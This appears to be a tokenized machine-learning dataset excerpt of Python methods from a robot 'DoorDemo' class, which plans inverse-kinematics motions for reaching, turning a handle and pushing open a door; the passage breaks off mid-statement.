"reach", "Target", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "link", "Off", "set", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "Link", "Name_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "To", "Wor", "ld", "1_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "hand", "Link", "Name_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hand", "To", "Wor", "ld", "2_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "hand", "Link", "Name_", ",_", "end", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "1_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "hand", "To", "Wor", "ld", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pal", "m", "To", "Wor", "ld", "2_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "link", "Off", "set", "Frame_", ",_", "hand", "To", "Wor", "ld", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "moti", "on", "Vector_", "=_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", "-_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "1_", "._", "Get", "Position_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "moti", "on", "Target", "Frame_", "=_", "transform", "Utils_", "._", "get", "Transform", "Fro", "m", "Orig", "in", "And", "Normal_", "(_", "np_", "._", "array_", "(_", "pal", "m", "To", "Wor", "ld", "2_", "._", "Get", "Position_", "(_", ")_", ")_", ",_", "moti", "on", "Vector_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "p_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Line", "Position", "Constraint_", "(_", "hand", "Link", "Name_", ",_", "link", "Off", "set", "Frame_", ",_", "moti", "on", "Target", "Frame_", ",_", "line", "Axis_", "=_", "2_", ",_", "bounds_", "=_", "[_", "-_", "np_", "._", "linalg_", "._", "norm_", "(_", "moti", "on", "Vector_", ")_", ",_", "0.0_", "]_", ",_", "position", "Tolerance", "_", "=_", "0.001_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "constraints_", "._", "append_", "(_", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Pre", "Cho", "p_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "plan", "Reach", "_", "(_", "self_", "._", "door", "Handle", "Pre", "Cho", "p", "Frame_", ",_", "self_", "._", "speed", "High_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "create", "Hin", "ge", "Constraint_", "(_", "self_", ",_", "reference", "Frame_", ",_", "axis_", ",_", "link", "Name_", ",_", "start", "Pose", "_", ",_", "tsp", "an_", "=_", "[_", "0_", ",_", "1_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "constraints_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "link", "Name_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "turn", "Transform", " ", "=", " ", "transform", "Ut", "il", "s", ".", "frame", "Fro", "m", "Position", "And", "RP", "Y", "([", "0.", "0", ",", " ", "0.", "0", ",", " ", "0.", "0", "],", " ", "[-", "turn", "Ang", "le", ",", " ", "0", ",", " ", "0", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "turn", "Transform", " ", "=", " ", "vtk", "Transform", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "turn", "Transform", ".", "Rotate", "WXY", "Z", "(", "turn", "Ang", "le", ",", " ", "axis", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "link", "To", "Reference", "Trans", "from", " ", "=", " ", "tran", "form", "Ut", "il", "s", ".", "concatenate", "Transforms", "([", "link", "Frame", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", "reference", "Frame", ".", "transform", ".", "Get", "Inv", "erse", "()]", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "final", "Link", "Frame", " ", "=", " ", "transform", "Ut", "il", "s", ".", "concatenate", "Transforms", "([", "link", "To", "Reference", "Trans", "from", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", "turn", "Transform", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", "reference", "Frame", ".", "transform", "])", "_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "add", "Pivot", "Point_", "(_", "constraints_", ",_", "piv", "ot", "Point_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "constraints_", "._", "append_", "(_", "ik_", "._", "Position", "Constraint_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "[_", "-_", "1_", "]_", "._", "link", "Name_", "=_", "link", "Name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "[_", "-_", "1_", "]_", "._", "reference", "Frame_", "=_", "reference", "Frame_", "._", "transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "[_", "-_", "1_", "]_", "._", "lower", "Bound_", "=_", "np_", "._", "array_", "(_", "piv", "ot", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "[_", "-_", "1_", "]_", "._", "upper", "Bound_", "=_", "np_", "._", "array_", "(_", "piv", "ot", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "piv", "ot", "Point", "In", "World_", "=_", "reference", "Frame_", "._", "transform_", "._", "Transform", "Doub", "le", "Point_", "(_", "piv", "ot", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "[_", "-_", "1_", "]_", "._", "point", "In", "Link_", "=_", "link", "Frame_", "._", "Get", "Inv", "erse", "_", "(_", ")_", "._", "Transform", "Doub", "le", "Point_", "(_", "piv", "ot", "Point", "In", "World_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "[_", "-_", "1_", "]_", "._", "tsp", "an_", "=_", "tsp", "an_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "add", "Pivot", "Point_", "(_", "constraints_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "add", "Pivot", "Point_", "(_", "constraints_", ",_", "axis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "constraints_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Handle", "Turn", "_", "(_", "self_", ",_", "turn", "Angle_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "turn", "Angle_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "turn", "Angle_", "=_", "self_", "._", "handle", "Turn", "Angle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", ")_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", ",_", "link", "Frame_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", "._", "Get", "Inv", "erse", "_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Turn", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "door", "Side_", "*_", "turn", "Angle_", ",_", "0_", ",_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Handle", "Turn", "Frame_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Turn", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vis_", "._", "update", "Frame_", "(_", "door", "Handle", "Turn", "Frame_", ",_", "'", "debug", " ", "turn", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Handle", "Turn", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number", "Of", "Added", "Kno", "ts_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "=_", "constraint", "Set_", "._", "constraints_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "create", "Hin", "ge", "Constraint_", "(_", "self_", "._", "door", "Handle", "Axi", "s", "Frame_", ",_", "[_", "1.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Base", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Back", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Fix", "ed", "Foot", "Constraints_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Arm", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Doo", "r", "Push", "Open_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "15_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "non", "Gra", "spin", "g", "Hand_", "=_", "'", "right", "'_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "'", "left", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "start", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "sma", "sh", "'_", ",_", "side_", "=_", "non", "Gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Post", "ure", "Goal", "_", "(_", "start", "Pose", "_", ",_", "end", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Doo", "r", "Push", "Open", "Twi", "st_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "non", "Gra", "spin", "g", "Hand_", "=_", "'", "right", "'_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "'", "left", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "start", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "sma", "sh", " ", "2", "'_", ",_", "side_", "=_", "non", "Gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Post", "ure", "Goal", "_", "(_", "start", "Pose", "_", ",_", "end", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Handle", "Push", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "door", "Side_", "=_", "1_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "link", "Frame_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Link", "Frame", "At", "Pose", "_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", ")_", ",_", "start", "Pose", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Pal", "m", "To", "Hand", "Link_", "(_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", ",_", "link", "Frame_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "._", "Get", "Inv", "erse", "_", "(_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "0.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "0_", ",_", "0_", ",_", "-_", "door", "Side_", "*_", "self_", "._", "handle", "Push", "Angle_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "door", "Handle", "Push", "Frame_", "=_", "transform", "Utils_", "._", "concatenate", "Transforms", "_", "(_", "[_", "final", "Gra", "sp", "To", "Reference", "Trans", "from_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "handle", "Push", "Transform_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "door", "Hin", "ge", "Frame_", "._", "transform_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vis_", "._", "update", "Frame_", "(_", "door", "Handle", "Push", "Frame_", ",_", "'", "debug", " ", "push", "'_", ",_", "parent_", "=_", "self_", "._", "door", "Handle", "Aff", "orda", "nce_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", "End", "Effe", "ctor", "Goal", "_", "(_", "start", "Pose", "_", ",_", "self_", "._", "gra", "spin", "g", "Hand_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "door", "Handle", "Push", "Frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "Low_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "._", "nominal", "Pose", "Name_", "=_", "'", "q", "\\u", "start", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", ",_", "info_", "=_", "constraint", "Set_", "._", "run", "Ik", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "=_", "constraint", "Set_", "._", "constraints_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "create", "Hin", "ge", "Constraint_", "(_", "self_", "._", "door", "Hin", "ge", "Frame_", ",_", "[_", "0.0_", ",_", "0.0_", ",_", "1.0_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Hand", "Link_", "(_", "side_", "=_", "self_", "._", "gra", "spin", "g", "Hand_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Base", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "constraint", "s", ".", "append", "(", "self", ".", "ik", "Plann", "er", ".", "create", "Locke", "d", "Back", "Post", "ure", "Constr", "aint", "(", "constraint", "Set", ".", "start", "Pose", "Name", "))", "_", "\\u\\u\\uNL\\u\\u\\u_", "constraints_", "._", "extend_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Fix", "ed", "Foot", "Constraints_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraints_", "._", "append_", "(_", "self_", "._", "ik", "Plann", "er_", "._", "create", "Locke", "d", "Arm", "Post", "ure", "Constraint_", "(_", "constraint", "Set_", "._", "start", "Pose", "Name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "plan_", "=_", "constraint", "Set_", "._", "run", "Ik", "Tra", "j_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Handle", "Push", "Lif", "t_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "plan", "Handle", "Turn", "_", "(_", "-_", "self_", "._", "handle", "Turn", "Angle_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Doo", "r", "Tou", "ch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ik", "Parameters_", "=_", "Ik", "Parameters_", "(_", "use", "Point", "wise_", "=_", "False_", ",_", "max", "Degrees", "Per", "Second", "_", "=_", "self_", "._", "speed", "High_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "non", "Gra", "spin", "g", "Hand_", "=_", "'", "right", "'_", "if_", "self_", "._", "gra", "spin", "g", "Hand_", "==_", "'", "left", "'_", "else_", "'", "left", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "end", "Pose", "_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "get", "Merged", "Post", "ure", "Fro", "m", "Database_", "(_", "start", "Pose", "_", ",_", "'", "door", "'_", ",_", "'", "pre", "-", "sma", "sh", "'_", ",_", "side_", "=_", "non", "Gra", "spin", "g", "Hand_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "new", "Plan_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "compute", "Post", "ure", "Goal", "_", "(_", "start", "Pose", "_", ",_", "end", "Pose", "_", ",_", "ik", "Parameters_", "=_", "ik", "Parameters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "Plan_", "(_", "new", "Plan_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Doo", "r", "Demo", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "plan", "Handle", "Push", "Open_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "start", "Pose", "_", "=_", "self_", "._", "get", "Plann", "ing", "Start", "Pose", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "constraint", "Set_", "=_", "self_", "._", "ik", "Plann", "er_", "._", "plan", 